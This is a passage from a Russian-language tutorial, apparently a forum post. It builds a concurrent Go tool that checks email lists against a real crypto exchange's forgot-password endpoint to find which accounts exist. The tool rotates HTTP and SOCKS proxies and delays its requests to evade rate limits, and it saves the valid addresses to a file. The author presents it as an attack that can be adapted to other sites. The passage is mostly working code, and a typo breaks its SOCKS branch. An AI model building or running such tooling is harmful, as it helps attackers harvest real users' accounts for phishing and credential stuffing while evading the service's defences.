SOCKS5 ProxyTypeEnum = "socks5"
)
// 3
var ProxyType ProxyTypeEnum = HTTPS
// 4
func SetProxyType(pt ProxyTypeEnum) error {
switch pt {
case HTTPS, SOCKS4, SOCKS5:
ProxyType = pt
return nil
default:
return errors.New("invalid proxy type")
}
}
// 5
var Proxies []string
- Создаем псевдоним для строки с новым типом данных ProxyTypeEnum.
- Определяем константы возможных типов прокси — HTTPS, SOCKS4 и SOCKS5.
- Объявляем глобальную переменную ProxyType для хранения текущего типа прокси-сервера.
- SetProxyType используется для изменения текущего типа прокси, принимает параметр pt типа ProxyTypeEnum. Если pt совпадает с одной из допустимых констант, то переменная ProxyType обновляется; если нет — возвращает ошибку.
- Переменная предназначена для хранения списка прокси-адресов.
В Go отсутствует понятие enum, но присутствует уникальная конструкция iota, которая способна генерировать последовательные числа при определении констант. С помощью нее можно организовать подобие enum для строковых литералов, однако это усложнит читаемость кода.
Прокси-сервер может как требовать данные для аутентификации в виде логина и пароля, так и не требовать их. Также, после того как мы получили прокси в виде строки из файла, ее необходимо правильно распарсить. Для этого напишем код в файле proxy_parser.go в папке tools:
C-подобный: Скопировать в буфер обмена
Код:
package tools
import (
"fmt"
"strings"
)
// 1
type ProxyInfo struct {
IP string
Port string
Username string
Password string
}
// 2
func ProxyParser(proxy string) (*ProxyInfo, error) {
// 3
parts := strings.Split(proxy, ":")
// 4
var username, password string
// 5
if len(parts) == 2 {
return &ProxyInfo{
IP: parts[0],
Port: parts[1],
}, nil
// 6
} else if len(parts) == 4 {
username = parts[2]
password = parts[3]
} else {
err := fmt.Errorf("invalid proxy format: %s", proxy)
fmt.Println(err)
return nil, err
}
return &ProxyInfo{
IP: parts[0],
Port: parts[1],
Username: username,
Password: password,
}, nil
}
- Создаем структуру для прокси, которая состоит из IP-адреса, порта и данных для аутентификации.
- Функция ProxyParser принимает прокси в виде строки и возвращает указатель на структуру ProxyInfo, если разбор прошел успешно, и ошибку, если формат строки недействителен.
- Принимаем за истину условие того, что разделителем параметров выступает двоеточие, и разбиваем строку по нему.
- Переменные для логина и пароля будут использоваться, если они есть в строке.
- len(parts) == 2 означает, что строка имеет формат IP
ort; в таком случае возвращаем структуру с полями IP и Port, а username и password остаются пустыми.
- len(parts) == 4 означает, что строка имеет формат IP
ort:Username
assword; в таком случае возвращается структура ProxyInfo со всеми заполненными полями. Если количество частей в parts не равно ни 2, ни 4, это означает, что формат строки некорректен — возвращаем ошибку.
В результате работы функции строка "192.168.1.1:8080:user
Функцию получения случайного прокси реализуем в ранее созданном файле random.go:
C-подобный: Скопировать в буфер обмена
Код:
// 1
func GetRandomProxy(goRoutineID int) string {
// 2
if config.ProxyType == "none" {
return ""
}
// 3
time.Sleep(500 * time.Millisecond)
// 4
proxyAmount := len(config.Proxies)
// 5
if proxyAmount == 0 {
return ""
// 6
} else if proxyAmount == 1 {
return strings.TrimSpace(
strings.TrimRight(config.Proxies[0], "\r"),
)
}
// 7
return strings.TrimSpace(
strings.TrimRight(config.Proxies[GenerateRandomNubmer(goRoutineID, proxyAmount-1)], "\r"),
)
}
- Функция принимает goRoutineID, чтобы передать его дальше как источник случайности при выборе числа для функции GenerateRandomNumber.
- Если в конфиге параметр задан как none, возвращает пустую строку.
- Делаем задержку в 0.5 секунды для ограничения времени между запросами в рамках одной горутины.
- Получаем количество прокси-адресов.
- Если они отсутствует, возвращаем пустую строку.
- Если в списке только один элемент, функция возвращает этот единственный прокси, предварительно удалив пробельные символы с обоих концов строки и завершающий символ. Это гарантирует корректный формат.
- В случае, если в списке несколько прокси, функция выбирает случайный прокси, работая по аналогии с получением User Agent. После выбора прокси функция обрабатывает его так же, как и в случае с одним.
Ну и наконец, реализуем функцию установки прокси транспорта setProxyTransport в файле service.go:
C-подобный: Скопировать в буфер обмена
Код:
// 1
func (s *Service) setProxyTransport(proxyInfo *tools.ProxyInfo) *http.Transport {
// 2
tranport := s.setDefaultTransport()
// 3
switch config.ProxyType {
// 4
case "https":
// 5
URL := fmt.Sprintf("http://%s:%s", proxyInfo.IP, proxyInfo.Port)
// 6
if proxyInfo.Username != "" && proxyInfo.Password != "" {
URL = fmt.Sprintf("http://%s:%s@%s:%s", proxyInfo.Username, proxyInfo.Password, proxyInfo.IP, proxyInfo.Port)
}
// 7
finalURL, _ := url.Parse(URL)
// 8
tranport.Proxy = http.ProxyURL(finalURL)
// 9
case "sosks4", "sosks5":
// 10
var dialer proxy.Dialer
// 11
timeout := time.Duration(5 * time.Second)
// 12
URL := fmt.Sprintf("%s://%s:%s", config.ProxyType, proxyInfo.IP, proxyInfo.Port)
// 13
if proxyInfo.Username != "" && proxyInfo.Password != "" {
URL = fmt.Sprintf("%s://%s:%s@%s:%s", config.ProxyType, proxyInfo.Username, proxyInfo.Password, proxyInfo.IP, proxyInfo.Port)
}
finalURL, _ := url.Parse(URL)
// 14
switch config.ProxyType {
// 15
case "socks4":
dialer, _ = proxy.FromURL(finalURL, &net.Dialer{Timeout: timeout})
// 16
case "socks5":
var auth *proxy.Auth
if proxyInfo.Username != "" && proxyInfo.Password != "" {
auth = &proxy.Auth{User: proxyInfo.Username, Password: proxyInfo.Password}
}
dialer, _ = proxy.SOCKS5("tcp", proxyInfo.IP+":"+proxyInfo.Port, auth, &net.Dialer{Timeout: timeout})
}
// 17
tranport.Dial = dialer.Dial
}
return tranport
}
- Принимаем указатель на структуру ProxyInfo, которая содержит подготовленный прокси, и возвращаем указатель на транспорт http.Transport.
- Устанавливаем транспорт по умолчанию.
- Используем switch для проверки типа прокси, указанного в конфигурации.
- Случай для "https" прокси.
- Формируем URL-адрес прокси-сервера.
- Если указаны имя пользователя и пароль, добавляем их к URL.
- Выполняем дополнительную проверку на корректность URL.
- Устанавливаем прокси для http.Transport.
- Общий случай для прокси "socks4", "socks5".
- Создаем переменную для прокси-дилера.
- Устанавливаем таймаут в 5 секунд для сетевых соединений.
- Формируем URL прокси-сервера.
- Если указаны имя пользователя и пароль, добавляем их к URL, также выполняем дополнительную проверку на корректность URL.
- Выбор дилера зависит от типа прокси; используем дополнительный switch.
- Задаем дилера для socks4.
- Задаем дилера для socks5, учитывая наличие имени пользователя и пароля.
- Присваиваем дилера для использования в транспорт и возвращаем транспорт из функции.
Для работы с SOCKS используется библиотека golang.org/x/net/proxy. Дилером называют интерфейс для установки сетевых соединений. SOCKS5 поддерживает аутентификацию по логину и паролю в отличие от SOCKS4.
Проверка ответа
Приступаем к финальной части кода. Реализуем функцию emailVerification в service.go, которая будет работать с ответом и проверять валидность электронной почты.
C-подобный: Скопировать в буфер обмена
Код:
// 1
func (s *Service) emailVerification(responseBody, email string) error {
// 2
if strings.Contains(responseBody, "success") || strings.Contains(responseBody, "starEmail") {
fmt.Printf("Valid email: %s\n", email)
tools.SaveToFile(email)
return nil
// 3
} else if strings.Contains(responseBody, "User not exist") {
fmt.Printf("Invalid email: %s\n", email)
return nil
} else {
// 4
err := fmt.Errorf("response contains content not expected. email:%s, response body:%s", email, responseBody)
return err
}
}
- Функция принимает тело ответа и email для проверки, возвращает ошибку.
- Если ответ содержит "success" или "starEmail", выводим сообщение с валидным адресом, сохраняем его с помощью функций SaveToFile и возвращаем nil.
- Если же ответ содержит "User not exist", выводим сообщение про невалидный email, также возвращая nil.
- В остальных случаях возвращаем ошибку, что указывает функции Checker продолжать рекурсивную работу.
Перейдем в папку tools и напишем функции для работы с файлами в file.go. Начнем с функции сохранения успешных электронных адресов в файл.
C-подобный: Скопировать в буфер обмена
Код:
package tools
import (
"errors"
"log"
"os"
"regchek/config"
"strings"
"sync"
)
// 1
var fileMutex sync.Mutex
// 2
func SaveToFile(email string) {
// 3
fileMutex.Lock()
defer fileMutex.Unlock()
// 4
file, err := os.OpenFile("files/good.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Fatal(err)
}
defer file.Close()
// 5
if _, err := file.WriteString(email + "\n"); err != nil {
log.Fatal(err)
}
}
- Горутин много, а файл один, используем мьютекс для синхронизации доступа.
- Функция принимает email для записи.
- Блокируем доступ к критической секции с помощью мьютекса, что гарантирует, что только одна горутина в один момент времени будет писать в файл. Используем defer, чтобы гарантировать разблокировку мьютекса.
- Открываем файл. Флаги означают, что файл будет открыт в режиме добавления, создан, если не существует, и открыт только для записи. В случае ошибки останавливаем программу.
- Записываем строку в конец файла. В случае ошибки останавливаем программу.
Функцию для открытия файла вынесем отдельно.
C-подобный: Скопировать в буфер обмена
Код:
// 1
func OpenFile(fileName string) []byte {
// 2
file, err := os.ReadFile(fileName)
if err != nil {
log.Fatal(err)
}
return file
}
- Функция принимает имя файла и возвращает срез байт.
- В случае если мы не смогли прочитать файл, также кидаем ошибку и завершаем выполнение кода.
И тут же напишем код для функции, которая будет считывать прокси из файла и помещать их в переменную в конфиг-файле.
C-подобный: Скопировать в буфер обмена
Код:
func GetProxiesFromFile() {
// 1
file, err := os.ReadFile("files/proxies.txt")
if err != nil {
log.Fatal(err)
}
// 2
config.Proxies = strings.Split(string(file), "\n")
// 3
if len(config.Proxies) == 0 {
err := errors.New("no proxies found in the configuration")
log.Fatal(err)
}
}
- Читаем файл с прокси.
- Разбиваем на строки и сохраняем в конфиг.
- В случае если прокси в файле не оказалось, логируем ошибку и останавливаем выполнение кода.
main.go
Все готово к сборке в единое целое в main.go файле.
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"fmt"
"log"
"regchek/config"
"regchek/service"
"regchek/tools"
"strings"
"sync"
)
func main() {
// 1
routinesNumber := 7
// 2
sc := &service.Service{
URL: "https://gateway1.weex.com/v1/user/forget-pwd/confirm",
}
// 3
emailsFile := tools.OpenFile("files/emails.txt")
emails := strings.Split(string(emailsFile), "\n")
// 4
if len(emails) == 0 {
log.Fatal("emails file is empty")
}
// 5
if config.ProxyType != "none" {
tools.GetProxiesFromFile()
}
// 6
var wg sync.WaitGroup
// 7
emailChan := make(chan string)
// 8
for i := 0; i < routinesNumber; i++ {
wg.Add(1)
go func(goRoutineID int) {
defer wg.Done()
for email := range emailChan {
sc.Checker(email, tools.GetRandomProxy(goRoutineID), goRoutineID)
}
}(i)
}
// 9
for _, email := range emails {
emailChan <- email
}
// 10
close(emailChan)
wg.Wait()
// 11
fmt.Print("Complete!")
}
- Устанавливаем количество одновременно запущенных горутин.
- Создаем экземпляр структуры Service.
- Открываем файл с электронными адресами, разбиваем его содержимое на массив строк.
- Если файл пуст, завершаем работу с ошибкой.
- Загружаем прокси.
- Создаем WaitGroup для синхронизации и завершения всех горутин.
- Создаем канал для передачи email-адресов горутинам.
- Инициализируем цикл for с количеством заданных горутин, увеличиваем счетчик WaitGroup, создаем и запускаем анонимную функцию. Итератор цикла выступает в качестве ID горутины. Используем defer для уменьшения горутин в WaitGroup, запускаем цикл, который будет выполняться до тех пор, пока канал emailChan не будет закрыт и не будут обработаны все email-адреса. Для каждого адреса вызываем Checker.
- Этот цикл перебирает все адреса из среза emails. Внутри цикла каждый адрес отправляется в канал emailChan.
- Закрываем канал и ожидаем завершение горутин.
- Выводим сообщение о завершении.
Рефакторинг кода полностью завершен!
Написание программы, которая реализует атаку на уязвимость перебора учетных записей, завершено. По примеру кода можно реализовать атаку на другие сайты, внеся небольшие изменения. Важно сказать, что данные в примерах и в исходных файлах заменены на моки (речь идет про заголовки).
Буду прощаться и возвращаться в тилимилитрямдию!